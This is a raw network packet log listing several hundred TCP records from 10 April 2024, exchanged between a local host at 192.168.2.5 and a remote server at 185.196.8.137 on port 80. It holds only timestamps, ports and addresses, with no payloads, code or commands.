Apr 10, 2024 10:24:12.333097935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333097935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333185911 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333201885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333201885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333201885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333201885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333201885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333201885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333259106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333259106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333259106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333267927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333313942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333313942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333379984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333379984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333379984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333468914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333468914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333468914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333471060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333470106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333470106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333470106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333556890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333558083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333558083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333558083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333558083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333617926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333617926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333617926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333626986 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333642006 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333717108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333722115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333722115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333722115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333722115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333722115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333733082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333745003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333745003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333839893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333854914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333861113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333861113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333861113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333879948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333879948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333910942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333955050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333955050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334032059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334032059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334032059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334033012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334114075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334122896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334122896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334122896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334122896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334122896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334122896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334196091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334196091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334196091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334196091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334207058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334234953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334234953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334243059 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334276915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334276915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334355116 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334393024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334393024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334393024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334393024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334393024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334484100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334484100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334484100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334487915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334528923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334528923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334528923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334556103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334598064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334613085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334613085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334613085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334671974 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334672928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334672928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334672928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334672928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334695101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334728956 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334748983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334748983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334793091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334793091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334793091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334793091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334816933 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334831953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334863901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334863901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334863901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334866047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334922075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334928036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334937096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.334954977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334954977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.334954977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335053921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335068941 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335091114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335091114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335092068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335092068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335092068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335128069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335141897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335163116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335163116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335163116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335176945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335258007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335258961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335258007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335258007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335258007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335258007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335258007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335308075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335321903 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335341930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335341930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335341930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335341930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335375071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335453987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335498095 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335511923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335522890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335522890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335522890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335547924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335582018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335583925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335625887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335625887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335647106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335674047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335674047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335674047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335724115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335763931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335787058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335787058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335787058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335787058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335899115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335899115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335899115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335899115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335899115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335899115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335912943 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335927010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.335947990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335947990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.335947990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336025953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.336066008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336066008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336066008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336066008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336066008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336102962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.336195946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336195946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336195946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336195946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336195946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336195946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336242914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336242914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336242914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336344004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336344004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336344004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336344004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336344957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336344957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336410046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.336414099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336414099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336414099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336432934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336432934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336468935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.336575031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336575031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336575031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336575031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336575031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336575031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336596966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.336680889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336680889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336680889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336680889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336680889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336680889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336685896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.336703062 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.336746931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336746931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336810112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336810112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336810112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336817026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.336874008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336874008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336874008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336975098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336975098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336975098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336975098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336975098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.336975098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337001085 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337063074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337063074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337076902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337076902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337076902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337143898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337143898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337143898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337207079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337207079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337207079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337274075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337274075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337274075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337280035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337299109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337299109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337299109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337306976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337322950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337342024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337342024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337342024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337377071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337470055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337470055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337470055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337470055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337470055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337470055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337573051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337573051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337573051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337573051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337573051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337573051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337639093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337639093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337639093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337733984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337733984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337733984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337733984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337733984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337733984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337799072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337799072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337799072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337820053 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337835073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337847948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337855101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337855101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337855101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337862015 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.337881088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337881088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.337923050 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.338011980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338011980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338011980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338011980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338011980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338049889 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.338056087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338056087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338056087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338079929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338129044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338129044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338129044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338213921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.338217020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338217020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338217020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338229895 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.338325024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338325024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338325024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338325024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338325024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338435888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338435888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338435888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338435888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338435888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338435888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338604927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338604927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338663101 CEST	49718	80	192.168.2.5	185.196.8.137
